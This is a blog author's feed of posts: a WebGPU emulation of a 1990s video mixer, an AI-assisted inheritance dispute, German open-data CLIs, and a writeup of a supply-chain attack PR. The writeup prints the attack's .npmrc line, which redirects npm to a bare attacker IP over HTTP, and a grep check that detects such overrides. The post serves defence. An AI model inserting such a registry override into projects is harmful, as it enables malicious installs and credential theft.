DEV Community: Sebastian Schürmann

Resurrecting the Panasonic WJ-MX50 in WebGPU

Sebastian Schürmann — Mon, 27 Jul 2026 22:03:04 +0000

In which a 1990s two-bus video mixer is reduced to a reducer, and the operating manual turns out to be a test suite.

The Panasonic WJ-MX50 was a desktop digital A/V mixer sold in the early 1990s for wedding videographers, cable-access studios, and anyone else doing A/B-roll editing on S-VHS decks. Two buses, four sources, 287 wipe patterns, a chroma keyer, a downstream keyer, eight event memories, and a joystick. The whole thing was defined by a 40-page operating manual that is unusually precise about behavior: which button blinks when, which effect excludes which, how many frames an auto-fade may take (0 to 510, in steps of 2 — not 1, not 5).

That is what Panasonic sold it for. It is not what we used it for. Well into the 2000s, this thing was on stage with us in techno clubs, doing VJ duty for hours at a stretch. Two of its four channels were fed by computers running VJ software; the others carried digital video players and stills, depending on the club setup. The computers generated the material, but the MX50 is where the performance happened. Used that way, it stops being an editing appliance and becomes an instrument: the lever is played, not set; the joystick throws a mosaic block around the screen in time with the kick; Auto Take with the transition control at minimum is a percussion button. It is a profoundly interactive way to do visuals — interactive enough that people watching us work the panel regularly mistook us for the DJs, or for a live act. Nobody mistakes a laptop VJ for anything.

So when I set out to reproduce the unit in a browser, the question was never whether it could be made to look like an MX50. The question was whether it could be made to behave like one — block for block, blink for blink — because an instrument lives in its behavior, and twenty-year-old muscle memory is an unforgiving reviewer. The manual served as the specification of record; my hands served as the acceptance test. The result is web-mx-50: vanilla TypeScript, WebGPU for the video path, Web Audio for the mixer, no framework, no bundler, and about 5,700 lines of source. This article describes the parts of the exercise that turned out to be interesting. The artwork is not one of them.

The manual is the program

The first job was not code. It was reading the manual until it stopped being a manual and started being a data structure. The MX50's feature set looks sprawling, but it decomposes cleanly, because the hardware itself was built from blocks wired in a fixed order:

Source -> bus assignment -> Colour Correction -> Digital Effect
       -> Mix/Wipe -> Downstream Key -> Fade -> Program Out

That order is not an implementation detail; it is observable behavior. The downstream key sits after the effects, which is why a title stays sharp over a mosaic. The fade sits last, which is why you can fade the video out and leave the title standing. So the first architectural decision was to make the block order structural: the renderer is a sequence of passes in exactly that order, and no code path can reorder them. The signal graph is written down once, in one module, and everything else reads it.

The second observation was that nearly all of the manual's fussy details are state transitions, not pixels. "Press A once, the LED blinks and CHROMA is active; press again, the LED goes solid and the RGB joystick is added; press a third time, correction is off." "If Matte is selected on a bus and you press that bus's direct-out button, the unit outputs the blinking substitute source instead." "Still switches off automatically when Strobe is engaged, but Trail may run on top of Still." None of that needs a GPU to verify. It needs a state machine and someone patient enough to transcribe the manual into scenarios.

One value, one reducer

The entire panel — both buses, the matte generator, the wipe pattern selection, the DSK sliders, the fade enables, all eight event memories — is a single plain JSON-serializable value. Every change goes through one pure reducer as a typed command. No classes, no observables, no GPU handles or HTMLVideoElement references inside the state; device bindings are referenced by id and resolved outside the store.

This is not a fashionable choice so much as a forced one, and the hardware forced it twice. First, the MX50 has Event Memory: eight snapshots of the complete panel, storable and recallable at the press of a button. If your state is one plain value, Event Memory is structuredClone and an array of eight slots. If your state is scattered across component instances, Event Memory is a research project. Second, the unit holds its settings across power cycles (about a week on the internal backup, says the manual), which maps to schema-versioned browser storage — again trivial if the state is one value, and miserable otherwise.

The same store made the control layer thin. The original unit had a GPI contact input and an RS-422 port for an edit controller. The browser equivalent is a mapping layer that normalizes keyboard, gamepad, MIDI, and a small automation API onto the same command vocabulary the front panel uses. A MIDI fader and the on-screen lever end up as the same command with a different origin, which is exactly how the hardware treated its own remote protocol. This layer is also where the instrument angle survives translation: a screen full of widgets is not something you can play with your eyes on the crowd, but a MIDI controller with a real crossfader is, and mapping one onto the MX50's command set takes a table, not a subsystem.

Cucumber, of all things

The behavioral spine of the project is 536 Gherkin scenarios (3,921 steps) in 26 .feature files, one per hardware block, each scenario ground-truthed against a section of the manual. Alongside them run 208 conventional unit tests. All of it executes headlessly against the real domain code — no GPU, no DOM, no browser.

I am aware that Cucumber has a reputation, mostly earned, as a ceremony generator for enterprise projects where nobody reads the features. Here it did honest work, for one reason: the source material was already written in Gherkin's register. The manual says things like "When the SELECT button is pressed, the color indicated on the Matte Color Indicator changes from lower to upper. The Black will be selected after the Color Bar." That is a scenario. You transcribe it, wire the steps to the reducer, and now a forty-page document from 1992 fails your build when you get the matte cycling order wrong. When behavior and code disagree, the feature file wins until a scenario is deliberately changed — a policy that sounds bureaucratic and in practice meant the manual kept catching me.

The wipe engine benefited most from this. The MX50's 287 wipe patterns are not a list; they are a small algebra. Seven pattern families, each cycling four variants, times a set of stackable modifiers (Compression, Slide, Multi, Pairing, Blinds), with a legality table for which combinations exist and a numbering scheme where pattern n and pattern n+128 are the same wipe reversed. Numbers above 255 exist on the panel but cannot be addressed over RS-422, and the external edit controller could only call 01–99, with 99 meaning "whatever is currently set up" — an escape hatch I have come to admire. All of that is pure arithmetic and table lookups, implemented in one GPU-free module and specified exhaustively in Gherkin. The shader consumes its output; it does not reimplement it.

The GPU part

The wipe shader treats each family as an analytic signed distance field f(uv, progress, variant). The A/B mask is smoothstep(-w, +w, f); the Soft button sets the feather width w; the Border button draws a colored band where |f| is small, with the color computed CPU-side as the complement of the current matte color, exactly as the manual specifies. Reverse mirrors a coordinate, Aspect scales one axis for the square family, Multi tiles the coordinate space, Pairing mirrors it before evaluation. One shader, one uniform block, seven fields.

Two decisions here deserve a note because they are where fidelity was deliberately bent.

The first: no NTSC. The real unit sampled 8-bit component video at 4:1:1 and juggled interlaced fields; its Frame button traded vertical resolution against interlace flicker. Browser sources arrive as progressive full-resolution RGBA frames on a compositor clock. Emulating chroma subsampling, field parity, and genlock drift would mean synthesizing artifacts the input never had — fiction, not emulation. So the working representation is linear-light RGBA with sRGB output, the compositing math is done in linear space (do this, or your wipe edges gamma-darken), and the Frame button's behavior is documented as moot. The substrate was deferred; the behavior was not.

The second: the frame synchronizer, the MX50's headline feature in 1992, is not built, because the problem it solved no longer exists. What survives from that silicon is its side effect — per-bus frame memory — which is what Still, Strobe, Multi, and Trail actually consume. Those four effects share one GPU frame-store per bus, and because they share it, the hardware's odd exclusion rules (Still and Strobe are mutually exclusive; Trail rides on Still) fall out of the design rather than being bolted on. It is pleasant when the original engineers' constraints explain your own.

Timing, or why 300 frames is 300 frames

Auto Take and Auto Fade run 0–510 frames in 2-frame steps, pausable mid-flight. In a club this is not a convenience feature; it is how you land a transition on a phrase boundary — dial the frame count once, then fire it on the one. A transition whose duration wobbles with the display refresh rate would be useless for that. And if you drive it from requestAnimationFrame deltas, that is what you get: a 300-frame fade takes a different wall time on a 60 Hz and a 144 Hz monitor, and your tests need a browser besides. Instead there is a fixed-timestep logical clock: an accumulator converts real elapsed time into whole video-frame ticks, all time-dependent logic reads ticks only, and the present loop uses the sub-tick fraction purely for interpolation. Tests step the clock directly. A 300-frame fade is 300 ticks everywhere, which is the kind of sentence you want to be able to write about a mixer.

What I would tell you if you tried this

Pick an artifact with a good manual. The MX50 succeeded here because Panasonic's technical writers in 1992 specified blinking LEDs and frame counts; a vaguer manual would have left me inventing behavior and calling it fidelity. Transcribe first, code second — the feature files were worth more than any framework. Keep the state in one dumb value; every hardware feature that looked hard (event memory, persistence, external control) became easy for that one reason. And decide early, in writing, which parts of the past you are not bringing along. There are sixteen architecture decision records in the repository, and the two most useful ones are the ones that say "no."

The domain model is complete and verified. The deferred remainder — mostly rendered-pixel verification and browser-only surfaces — is inventoried with a file and line number for each item, which is as close as a proof of concept gets to a clean desk.

The code is at github.com/sebs/webgpu-mx-50 The manual, as ever, is the authority — though the manual never once anticipated a smoke machine.

Status and what comes next

The prototype source is published.
Next: a web component, so the mixer can be dropped into any website.
A demo setup with Source A/B, preview, and program-out channels.
A UI reproducing the original panel layout.
Multi-tab and multi-window operation.
Further exploration of the mixer in a website context as a tool for visual art.

Claude Lawfare

Sebastian Schürmann — Fri, 24 Jul 2026 17:45:39 +0000

CN: Death

I. The letter

My father died in November. Sometime between the 16th and the 19th — the death certificate gives a range, not a date, which is its own small horror to read on a form.

Months later, after the apartment was emptied and cleaned and handed back, after the trip south to collect the certificate of inheritance from the probate court and carry it, personally, to the housing cooperative's office, two letters arrived. They were dated eighteen days apart. They arrived in the same envelope, on the same day.

The gist: his membership in the cooperative would end. The shares — fourteen of them, a small four-figure sum — would be paid out to me after next year's members' meeting. A transfer of the shares themselves was "no longer possible due to the long delay."

I didn't want the money. I wanted the shares. In a housing cooperative the shares aren't an investment, they're a position: they're what makes you a member rather than a possible tenant. Converting them to cash is not a settlement, it's an eviction from a category: I could get a affordable apartment in my hometown and given I work in a org functionality for a company based there. Do your Math.

I also had the strong feeling — the specific, useless feeling you get when an institution tells you something in the passive voice — that this was wrong. Not unfair. Wrong. As in: incorrect. As in: someone in an office had put my file in the wrong pile and the wrong pile had a form letter attached to it.

But feeling that and knowing it are different things, and the gap between them is exactly where most people give up. That gap is made of statutes you've never read, a set of bylaws written in 1871 and amended for a century and a half, and the entirely reasonable suspicion that fighting over a four-figure sum will cost you more than the four figures.

So I did the thing that would have been science fiction three years ago. I dumped everything — the bylaws, the letters, the emails, the death certificate, the handover protocol, the whole miserable folder — into a context window and asked a language model to tell me whether I was right.

180 minutes later I had a two-page letter citing four statutes and three bylaw sections, a reference document mapping every legal provision in play, and a clear answer to the question I'd actually been asking, which was not what are my rights but am I crazy.

I was not crazy. The cooperative had applied the wrong paragraph.

II. What actually happened, technically

The mechanics matter here, because the interesting part isn't "AI wrote a letter." Anyone can get an AI to write a letter. The interesting part is the shape of the reasoning, and where the machine was better than I was, and where it was worse.

The documents were garbage and it didn't matter. The bylaws were a scanned PDF of a printed booklet — no text layer, and the file wasn't even really a PDF, it was a zip of page images with a misleading extension. In 2019 this is where the project dies. Instead: unzip, rasterize, OCR with a German language model, and thirty-two pages of 19th-century cooperative law became searchable text. Imperfect text — the OCR rendered § as $ half the time — but searchable. The bad scan is no longer a barrier to entry. That is a bigger deal than it sounds. An enormous amount of the law that governs ordinary people's lives sits in exactly this format: scanned, unindexed, technically public and practically inaccessible.

The core error was a paragraph mix-up, and finding it required reading two provisions side by side. The cooperative had reasoned from the section governing transfer of shares between living people — which requires board approval, to which no one has a right. Hence "not possible." But when a member dies, that section doesn't apply. A different one does: the one saying membership continues through the heirs. Automatically. By operation of law. No application, no approval, no transfer. The entry in the members' register merely records what already happened; it doesn't create it.

That's the whole case. One paragraph substituted for another. It's not an exotic legal theory, it's a filing error with legal consequences, and once you see it you can't unsee it.

The strongest argument came from a distinction the model made that I hadn't. The bylaws do contain a six-month deadline — but the clause begins "if there are several heirs." I'm an only child of a divorced man; there is no one else. The deadline was never running. And then the move that made it airtight: that clause exists because the statute permits cooperatives to impose such a deadline, and the statute permits it explicitly and only "for the case of inheritance by several heirs." So even if the cooperative wanted to read its own bylaws expansively, it couldn't — the law above the bylaws doesn't allow it. The argument shifted from that's not what your rules say (arguable) to your rules aren't allowed to say more (not arguable).

I would not have found that. I know what I know, and the hierarchy between an enabling statute and a bylaw clause is not in it.

The date the cooperative chose gave away its own reasoning. Termination "due to death" — effective December 31st of the following year. That date can't be derived from anything except the several-heirs clause: deadline expires, membership ends at the close of that business year. So the office had assumed a community of heirs that failed to meet a deadline. The certificate of inheritance, which they had in their hands, says "sole." The date was a confession.

And they had already called me the heir in writing. Buried in an April email, in the middle of a paragraph about renovation costs: "son and heir of the deceased." They had accepted my inheritance for every obligation — clearing the apartment, the repairs, an outstanding invoice — and denied it for the one right attached to it. There's a Latin phrase for this and a section of the civil code, but you don't need either. You need someone to notice the sentence. The model noticed the sentence.

Where it was worse than me, and this matters more than the wins: at one point a draft stated a fact about my own case more precisely than I could actually back up. Not invented — I had told it so, and it had reasonably taken my word. But a confident, checkable, false-if-challenged factual claim sitting in the middle of an otherwise solid letter is exactly the thing that gets a good case laughed out of a room. The fix was to restate it in a form that was still true if someone pushed. Same argumentative force, no exposure.

The model flagged the risk itself, which is to its credit. But I had to be in the room to know which version of the fact would survive contact with the other side. The machine can tell you which sentence is dangerous. It cannot tell you which one is true. That's the whole division of labor, and everything below follows from it.

III. The politics of having this thing

Here's the part I've been circling.

What happened in those 180 minutes was not that I got legal advice. I got something more specific and, I think, more consequential: I got parity.

The cooperative's office has a process. The process has been run hundreds of times. It has form letters, an internal sequence, precedent, and — decisively — the knowledge that almost nobody on the receiving end will check. That last asymmetry is the load-bearing one. Institutions are not usually malicious. They are usually routinized, and routine plus asymmetric knowledge produces outcomes indistinguishable from malice while everyone involved keeps a clear conscience.

The traditional fix is a lawyer. The traditional fix costs more than the thing you're fighting over, which is why the traditional fix mostly doesn't get used, which is why the routine keeps producing the same outcome. Every small wrong sits below the threshold where the remedy makes economic sense. That's not a bug in the legal system, that's the equilibrium the legal system rests on.

A capable model collapses the cost of the first 180 percent of that work to roughly zero. Not the last ten. Not the courtroom, not the strategy under adversarial pressure, not the judgment about which fights are worth having. But the reading, the mapping, the finding of the wrong paragraph, the drafting, the citation-checking — the part that turns a feeling into a claim. That part is now free.

I want to be careful about the triumphalism here, because there are three things about this that worry me.

First: this cuts both ways, and the other way has more money. If I can produce a well-cited demand letter in 180 minutes, so can a debt collector, a patent troll, a landlord's management company, a firm that sends ten thousand letters a month hoping two percent pay. The cost of generating legal pressure has fallen for everyone, and the people who were already generating legal pressure at industrial scale have better tooling and no scruples about volume. A world where everyone can produce a plausible legal threat instantly is not obviously a world with more justice in it. It may just be a world with more letters.

The asymmetry doesn't vanish. It moves. What used to be an asymmetry of access to expertise becomes an asymmetry of capacity to absorb noise. Institutions can absorb noise. Individuals can't.

Second: fluency is not correctness, and this failure mode is nastier than the old one. The false date almost went out. It was in a paragraph that read beautifully. A wrong claim wrapped in correct citations and confident structure is more dangerous than obvious nonsense, because obvious nonsense gets caught. There is a specific new hazard — a person with no legal training, holding a document that looks exactly like competent legal work, with no ability to tell which sentences are load-bearing and which are fabricated. They will send it. Some of them will send it into situations far more consequential than a dispute over cooperative shares.

The thing that made this work was not the model's competence. It was that I could check the facts it asserted, because the facts were about my own life. Every single time I caught something, it was a fact about me — what had actually happened, and how much of it I could prove. That's the domain where a layperson retains real epistemic authority. Push into a domain where the user can't check anything and the same fluency becomes a liability with a nice typeface.

Third, and this is the one that actually keeps me up: this capability is contingent, and it is nobody's right. I used a frontier model, on a good day, with a large context window, with tools that let it run OCR and search the web and render documents. None of that is guaranteed to exist next year in the form it exists today, at a price I can pay, for the uses I want to put it to.

Access can be tiered. Capability can be routed — a query about something sensitive can quietly get answered by a smaller model, and you may not be told. Terms of service can carve out legal use entirely, and there are real liability reasons a provider might want them to. Regulation could mandate that carve-out in the name of consumer protection, which would protect consumers from bad legal advice by protecting them from any legal advice at all, in the way that a locked hospital protects you from infection.

And the people who'd be least affected by all of that are the ones who already have lawyers.

The most darkly funny version of this: the institutions on the other side of these disputes will absolutely have the enterprise tier. Legal-tech procurement is a line item. A large housing company, an insurer, a collections agency — they will have the good model, integrated, with a compliance wrapper and an indemnity clause. The question is whether the person on the receiving end of the form letter has anything at all.

That, and not model capability, is the political question. The technology to close the gap exists. It worked. I have the letter, cited and dated and in the mail. The open question is whether that stays true for people with less time, less education, less money, and a worse case than mine — or whether this turns out to have been a brief window in which the tools were unusually good and unusually available, before the pricing and the liability lawyers and the regulators sorted everyone back into the categories they came from.

I don't know how the dispute ends. The deadline I set falls in the middle of August. If nothing happens I have two more letters ready — one to the supervisory board, one to the auditing association that reviews the cooperative's administration, including, as it happens, the correct maintenance of the members' register.

Both were drafted in about twenty minutes.

That's the part I can't stop thinking about. Not that a machine helped me win an argument. That a fight I would have lost by default — not on the merits, by default, by exhaustion, by the sheer administrative friction of being one person against a process — became a fight I could actually have.

For now.

sudo 'schland just give me my data

Sebastian Schürmann — Mon, 06 Jul 2026 17:31:08 +0000

There's an old xkcd. Guy says "make me a sandwich." Gets refused. Says "sudo make me a sandwich." Gets a sandwich.

I've been running the same play, except the sandwich is public data and the reluctant party is the Federal Republic of Germany. The result is maschinenlesbar.org: Many TypeScript CLIs, one per open API the German state runs, all on npm, all built the same way. sudo bundesrepublik --json, more or less. 25 is the current count. The plan is roughly a hundred.

The joke in the name

"Maschinenlesbar" means machine-readable, and it's not a word I made up for branding. It appears in German law. The E-Government-Gesetz obliges federal agencies to publish their data in machine-readable formats. A country that still confirms things by fax has a statute demanding machine-readability.

And on paper, the agencies delivered. Live water levels for every federal waterway. The complete federal budget. Every registered lobbyist. Ambient gamma radiation from about 1,700 probes. Parliamentary proceedings going back decades. All behind REST endpoints, largely unauthenticated.

So far, so good. Now try to connect any of it.

The moat

Here's the thesis, and it holds across every party and every legislative period: the core strategy of German open-data politics is the prevention of interoperability. The data is published — that box is checked. The data cannot be linked. That's the actual defense.

Smart people have spent years trying to get one uniform interface over the kleine Anfragen — the written parliamentary questions — across Germany's parliaments. Or the parliamentary documentation, sixteen states plus the Bundestag, in one format. LOL. There are X systems and every single one does things slightly differently. Federalism is a fine idea for distributing power; here it moonlights as a technique for making sure data never meets other data. Nobody had to forbid anything. No shared identifiers, no common schemas, a different timestamp format per API, one endpoint speaking clean JSON and the next speaking WFS — an OGC standard older than the iPhone — and the job is done.

And when passive fragmentation isn't enough, there's the active move: change a format, arbitrarily, and watch every downstream tool die. That trick has quietly killed civic-tech projects for two decades.

Because the dangerous thing was never a single dataset. A lobbyist list is a phone book. A budget is a spreadsheet. It's the join that produces accountability: this lobbyist, this committee, this budget line, this vote. Publish everything, link nothing, and you get transparency theater — technically open, practically opaque.

25 boring CLIs as a political act

Which is why aggressive uniformity is the entire design. Every CLI:

installs the same way (npm i -g <name>-cli, or just npx it)
emits JSON on stdout, errors on stderr, honest exit codes
ships as a typed API client too, if you'd rather import than shell out

Uniformity on the outside is interoperability retrofitted in userland. The state won't build the joins — fine, jq and a pipe will.

"write programs that handle text streams, because that is a universal interface"

Doug McIlroy's quote is fifty years old and turns out to double as civic infrastructure.

There's also a speed asymmetry worth naming. The state ships one half-baked portal per geological epoch. An open-source tool, once it's out there, does five to ten iterations in the same window — and how that pace is sustained across a hundred repos is its own story, which I'll get to at the end. Suffice it for now: I'm genuinely curious whether the old sabotage strategies still work. My bet is no.

Anti-journalism, in the friendliest possible way

The other honest motivation, and I know how the word sounds: this is anti-journalism activism.

Not anti-truth. Anti-middleman. The project started because I wanted to understand politics better and noticed the way to do it was to stop reading coverage and start reading sources — because something is deeply off in the land of print and online.

If you've followed games journalism, you already know the mechanism. Embargo access, preview trips, review copies: cuddle with the subject of your reporting long enough and their viewpoints start seeping into the copy. Whoever wants access has to heel. Berlin political journalism runs the identical loop, just with ministries instead of publishers. Ask genuinely hard questions and you stop getting interview partners; stay harmless and you get the chancellor on your politics podcast — formats that have degraded into free airtime, retransmitting campaign promises without so much as a follow-up question.

The business model completes the picture, and it's beautifully inverted: the comment section — the part engineered to split people, because division is engagement — is free. The actual reporting sits behind the paywall. Outrage as the loss leader, information as the premium tier. Meanwhile the 90-page committee document that the 400-word article summarizes sits in a public API, timestamped and complete, read by approximately nobody.

Here's the sentence that will annoy everyone, so let me stand behind it: a language model reproduces mediocrity, at best. That happens to clear the bar for most of German political journalism. If your value-add over the primary source is a summary plus a framing, you are competing with curl piped into a tin can — and losing on price, speed, and blood pressure.

But replacement is the petty version of the goal. The real one is democratizing access. A normal citizen has neither the money to first train as a political scientist nor the decade for a traineeship just to work out what a law will actually do to them. The documents are public; the literacy was gatekept. An agent with these CLIs closes that gap — and sometimes the entire barrier is language: rewrite a committee report in plain German, or in another language altogether, and a document that was technically public becomes actually accessible. Plenty of people can consume politics straight from the source once someone removes the provocative framing that only ever served somebody else's revenue. I'm fairly certain I'm not the only one who wants that.

The manual version of this research already works and I've done it plenty: pull a member of parliament from the Bundestag's DIP system, enrich the picture at abgeordnetenwatch.de, then follow the person's pet topic down a FragDenStaat rabbit hole of freedom-of-information requests. Handwork, but it delivers — that route has genuinely surprised me more than once, and the surprises are the point. I go looking for my unknowns.

Handwork, though? Maybe not for long.

The new Unix user has no hands

Agentic systems — the new machine god, as I've taken to calling it, with more patience than a trainee news desk and better organization than the people officially in charge of "Digitalisierung" — are terminal natives. Give an agent a tool that takes flags and returns JSON with a predictable schema and it uses it correctly on the first try; it has seen ten million CLIs in training. The shell is the integration layer. Every agent runtime on earth can execute a command; not every one speaks whatever protocol is fashionable this quarter. That's why it's CLI first, and why each repo ships agent skills alongside the binary — the CLI is the muscle, the skill is the manual.

Now hand an agent all 25 manuals and describe the DIP → abgeordnetenwatch → FragDenStaat workflow. It runs the whole rabbit hole in minutes, in parallel, with citations. And notice: entity matching across inconsistently named datasets — the state's main anti-interoperability defense — happens to be something language models are freakishly good at. The moat was designed for humans with browsers. It was not designed for this.

The traffic runs the other way too. These tin cans confabulate; producing plausible text is the whole job description, and a model will invent a river level or a committee vote without blinking. Feeding it primary data from calibrated government systems — a sensor bolted to a bridge, a document with an ID and a timestamp — is how you stop the machine from making things up. The APIs ground the model; the model joins the APIs. Fair trade.

How you combine thetools is, as far as I'm concerned, a secret between you and your computer.

How does one even end up here

In a second repo sits a politics search engine that needs exactly this data for contextualization — a five-digit number of sources, collected since the RSS days. The engine has been through three eras that neatly mirror the last fifteen years of search itself: pure full-text before 2010, semantic search through 2020, and since 2025 both of those with a language model bolted on top. The CLIs are what that stack turned out to need: grounding. Fifteen-plus years of watching this ecosystem is where the interoperability thesis comes from; it's not a hot take, it's a scar.

The boring parts, on purpose

Everything is AGPL. Every package ships an SBOM, because I've written enough about npm supply-chain attacks to refuse publishing anything opaque myself. Version numbers start at 0.0.x and mean it.

The dark factory

Which leaves the question of how sixteen of these exist already and a hundred are plausible without me giving up sleep, food, or my remaining goodwill. The answer is the part of the project I find most instructive: the CLIs come out of a dark factory.

Manufacturing people know the term — lights-out production. FANUC has run plants in Japan where robots build robots for weeks at a stretch with the lights literally off, because nobody's in the building to need them. That, minus the sheet metal, is the production model here. There's a template repository that acts as the assembly line: project layout, flag conventions, test harness, CI, SBOM generation, npm publishing — the jigs and fixtures. A new government API enters at one end as raw material; agents read whatever passes for its documentation, probe the endpoints, generate the wrapper against the template, write the tests, write the agent skill, and a CLI comes out the other end, boxed and labeled like its fifteen siblings. When shared plumbing improves, the change propagates across every repo the same way — nobody hand-edits sixteen READMEs at 11 PM, because nobody hand-edits sixteen READMEs at all.

My job in this factory is not on the line. It's the job humans keep in every lights-out plant: I define the product, I set the tolerances, and I stand at the quality gate reading diffs before anything ships. Exception handling, in both senses.

Two consequences fall out of this, and they're the whole game. First, the marginal cost of wrapping one more government API is approaching the cost of caring about it — which is how "roughly a hundred" stops being bravado and becomes a backlog. Second, remember the state's favorite defense, the arbitrary format change? Against a hand-maintained scraper, lethal. Against a factory, it's a work order. The breakage lands in CI, an agent retools the line, I review the diff over coffee. The sabotage now costs the saboteur more than the target.

*The project lives at github.com/maschinenlesbar-org, with running commentary at @maschinenlesbar.bsky.social. *

Fallacies of distributed computing

Sebastian Schürmann — Wed, 01 Jul 2026 20:26:30 +0000

The network is reliable;
Latency is zero;
Bandwidth is infinite;
The network is secure;
Topology doesn't change;
There is one administrator;
Transport cost is zero;
The network is homogeneous;

A Rogue Registry in My Own Backyard: Anatomy of a Two-Line Supply Chain Attack

Sebastian Schürmann — Sat, 27 Jun 2026 22:30:09 +0000

The previous parts of this series were written from a comfortable distance. I read the Trend Micro diagrams about Shai-Hulud, I theorised about Docker network egress and rolling keys, and I lectured everyone about phishing training while quietly assuming it would happen to other people's repositories. The universe, being the comedian it is, decided to file a pull request against sebs/etherscan-api to correct that assumption.

This one is worth a writeup precisely because it is small. No worm, no self-replicating bash, no 200-line obfuscated payload. Six lines added, three removed, across two files. If you reviewed it at 23:00 with one eye open, you would merge it. That is the whole point of it, and that is why it belongs in this series.

The bait

The PR arrived titled refactor: replace manual multicall with ethers-multicall-utils. The description is a thing of beauty in the way that all good lies are tidy:

This PR integrates ethers-multicall-utils to improve performance of multi-contract reads.

Reduces network latency

Works with all EVM chains

Zero dependencies

Read that again. It is fluent in the dialect of the modern PR. It has bullet points. It says "zero dependencies," which is the magic phrase that makes a security-minded maintainer relax their shoulders — the previous post in this series was literally me preaching about minimal package footprint, and here is a contributor seemingly speaking my language back to me. That is not a coincidence. The social engineering is calibrated for the target.

The author account was not a five-minute-old burner either. Aged profile, hundreds of repos, an Arctic Code Vault badge, Pull Shark, a believable bio, a real-looking employer. Everything about the envelope says "competent open-source human." Everything in the envelope says otherwise.

The actual payload

Here is the entire attack. First, a brand new .npmrc appears in the repo root:

registry=https://registry.npmjs.org/
:registry=http://206.223.232.170:64389/

The first line is decoration. It points at the real npm registry and exists purely so the file looks reasonable to a skimming eye.

The second line is the knife. The empty-scope syntax :registry= sets the default registry for everything that does not carry an explicit scope. So the net effect of those two lines together is: ignore the line above, and resolve packages from http://206.223.232.170:64389/ instead.

Three things should set your hair on fire here:

It is a bare IP address, not a registry hostname. Legitimate registries have names. Names have TLS certificates. Names can be revoked. An IP on a high random port is somebody's box.
It is plain http://. No TLS at all. Whoever controls the wire — or simply controls that host — controls every byte npm pulls down, and any token npm sends up during install.
It overrides resolution for the entire install, not just the one shiny new dependency. Every package your build fetches now potentially comes from the attacker.

The second file change is package.json, and it is the fig leaf that makes the .npmrc look purposeful:

   "devDependencies": {
     "@types/node": "22.10.5",
     "typedoc": "0.28.19",
-    "typescript": "6.0.3"
+    "typescript": "6.0.3",
+    "ethers-multicall-utils": "^2.1.4"
   }

A new dependency is added that — surprise — does not need to exist on the real npm registry, because the .npmrc has already rerouted resolution to the attacker's server. They can serve whatever they like under that name: a package whose postinstall script runs their code, or a trojaned copy of something you already trust. The ^2.1.4 caret is a nice touch too — it pre-authorises any "newer" version they decide to push later.

There was also a cosmetic edit re-escaping the ü in my own name in the author field. Pure diff noise, there to make the commit read like a tidy housekeeping pass. I have rarely felt so personally tidied.

Why this is the dangerous kind

The Shai-Hulud worm was loud. It propagated, it phoned home, it cloned private repos, and that noise is exactly what gets it caught and written up. This thing is the opposite design philosophy. It is quiet, it is two lines, and it weaponises your own install command. You do not need to be tricked into running anything exotic. You run npm install, the same way you have ten thousand times before, and the trap springs in your CI runner or on your laptop with your npm token sitting right there in the environment.

The chain, end to end:

plausible "perf refactor" PR
        │
        ▼
package.json adds a dependency that only resolves...
        │
        ▼
...from the registry hardcoded in .npmrc
        │
        ▼
http://<attacker-ip>:<port> serves a malicious package
        │
        ▼
install-time code execution, token harvest, or worse

Every link looks boring in isolation. That is the craft.

What actually saved this repo

Nothing clever. The PR was reviewed by a human who looked at the files, not just the description, and asked the only question that matters when a PR touches install configuration: why is there a registry line pointing at a random IP over HTTP? There is no benign answer to that question. The PR was closed unmerged.

But "I happened to look" is not a control. Let us turn it into one.

Mitigations, in roughly the order I would bother

Treat .npmrc as a security-critical file. It configures where your code comes from. That is at least as sensitive as a CI workflow file, and in the previous post I argued the actions/ folder deserves CODEOWNERS and branch protection. .npmrc deserves exactly the same paranoia. Put it behind CODEOWNERS so any change to it requires a human you trust.

Add a CI check that refuses hostile registry config. A grep is enough to start. Fail the build if an .npmrc anywhere in the tree points at a non-HTTPS registry or a bare IP:

# fail if any .npmrc references a non-https or IP-based registry
if git grep -nE 'registry\s*=\s*https?://' -- '**/.npmrc' \
   | grep -vE '=\s*https://([a-z0-9.-]+\.)?(npmjs\.org|your-private-registry\.example)/' ; then
  echo "Suspicious registry override detected in .npmrc"
  exit 1
fi

Tune the allowlist to your actual registries. The point is that new registry endpoints become a deliberate, reviewed event rather than something that rides in on a refactor.

Pin and verify what you install. A committed lockfile plus npm ci (not npm install) in CI means resolution follows the lockfile, and a foreign registry URL in there is glaring in review. --ignore-scripts in CI where you can get away with it removes the install-time code execution primitive that most of these attacks ultimately rely on.

Build in a box with a short leash. This is the same advice as part one, and this attack is a clean example of why it works: if your build container can only reach your known registry and nothing else, a redirect to 206.223.232.170:64389 simply fails to connect. The exfiltration and the malicious fetch both die at the network boundary. DNS/egress allowlisting is not glamorous and it quietly defeats a whole category of this.

Review the diff, never the description. The PR text is written by the attacker. It is marketing copy. The only ground truth is the files changed tab. If a "performance" or "dependency" PR touches .npmrc, package.json install config, lifecycle scripts, or a workflow file, the description becomes irrelevant and the change earns full scrutiny regardless of how friendly the bullet points were.

Assume the friendly account might not be its owner. An aged profile with good badges is not a trust signal anymore; it is an attack asset, because hijacked reputable accounts are precisely what makes a malicious PR slide through. "Assume breach" applies to your contributors' credentials, not just your own.

The uncomfortable part

I write a series about supply chain security and someone still walked a registry-hijack PR right up to my front door. That is not a failure of the series; that is the actual threat model. These attacks are cheap, automated, and sprayed across hundreds of repositories at once on the statistical certainty that someone merges at 23:00 with one eye open. You do not have to be careless to get got. You just have to be tired once.

So make the boring controls do the watching for you, because your attention is the resource the attacker is budgeting against.

To misquote the same wise machine I closed part one with:

The only winning move is to not run npm install.

Frameworks Rot. The Platform Doesn't.

Sebastian Schürmann — Fri, 12 Jun 2026 18:46:48 +0000

A decision memo for anyone staring at their package.json and wondering.

Most arguments for leaving your SPA framework center on the upgrade treadmill — the endless cycle of major-version migrations, dependency churn, and build-tool turnover. That argument is real but incomplete, and on its own it has never been decisive: every framework shop has learned to live with the treadmill. There's a stronger case, built on four pillars that compound with each other.

First, total cost of ownership: vanilla JavaScript on the web platform has unusual TCO properties, dominated by a depreciation curve that is nearly flat. Code written against the platform does not rot, because its substrate does not change. Over long horizons, this single property outweighs almost every per-feature productivity argument in a framework's favor.

Second, the labor market: the pool of people who can work on vanilla JavaScript is not a niche within the frontend market — it is the entire frontend market, plus most of the backend market. Every framework developer is, underneath, a JavaScript developer. The reverse is not true. If you hire for a specific framework, you're hiring from a subset while telling yourself you're hiring from the mainstream.

